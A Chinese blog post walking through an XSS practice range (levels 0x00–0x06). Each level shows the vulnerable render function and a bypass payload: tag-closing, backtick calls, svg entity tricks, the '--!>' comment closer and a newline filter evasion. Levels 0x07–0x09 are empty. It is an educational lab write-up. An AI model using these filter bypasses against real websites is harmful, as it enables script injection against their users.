Ywc's blog

xss靶场练习

Word count: 565 / Reading time: 2 min
2019/02/28 Share

0x00

没有丝毫的过滤措施,且最后的输出位置在标签中,所以很简单,随便甩一个xss payload:
<script>alert(1)</script>

server code:

1
2
3
function render (input) {
return '<div>' + input + '</div>'
}

xss靶场练习

0x01

0x01和0x00不同的地方在于这里xss插入的位置在于标签中,闭合标签,构造payload:
</textarea><script>alert(1)</script>

1
2
3
function render (input) {
return '<textarea>' + input + '</textarea>'
}

xss靶场练习

0x02

server code:

1
2
3
function render (input) {
return '<input type="name" value="' + input + '">'
}

闭合<input>标签,再构造xss语句,payload:
"><script>alert(1)</script>"

xss靶场练习

0x03

1
2
3
4
5
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}

0x03中代码主要的作用就是将()替换成为空字符
这里其实可以使用模版字符串来绕过。在Es6中,模版字符串可以紧跟在一个函数名后面,该函数将被调用来处理这个模板字符串,这被称为“标签模板”功能。
使用反引号来代替括号,最后的payload为:

1
<script>alert`1`</script>

xss靶场练习

0x04

1
2
3
4
5
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}

从代码中来看,过滤了()和反引号,所以这里构造xss的话可以使用<svg>标签,<svg>标签中可以直接执行实体字符

又或者可以H5中iframe的特点,因为h5中iframe的srcdoc属性,srcdoc里的代码会作为iframe中的内容显示出来,srcdoc中可以直接去写转译后的html片段。

1
<svg><script>alert&#40;1&#41;</script>

xss靶场练习

0x05

1
2
3
4
function render (input) {
input = input.replace(/-->/g, '笑脸')
return '<!-- ' + input + ' -->'
}

代码将将html的–>注释符替换成笑脸,并输出在html的注释中。

html注释支持以下两种方式:

  • <!-- xxx -->
  • <!- xxx -!> <!— 以!开头,以!结尾对称注释的方式 —!>

所以payload如下:

1
--!><script>alert(1)</script>

xss靶场练习

0x06

1
2
3
4
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}

过滤以auto开头或者on开头,=等号结尾的标签属性并替换成_,且忽略大小写,虽然看起来好像无解了。但是这里我们可以通过换行来绕过正则的检查

xss靶场练习

0x07

0x08

0x09

CATALOG
  1. 1. 0x00
  2. 2. 0x01
  3. 3. 0x02
  4. 4. 0x03
  5. 5. 0x04
  6. 6. 0x05
  7. 7. 0x06
  8. 8. 0x07
  9. 9. 0x08
  10. 10. 0x09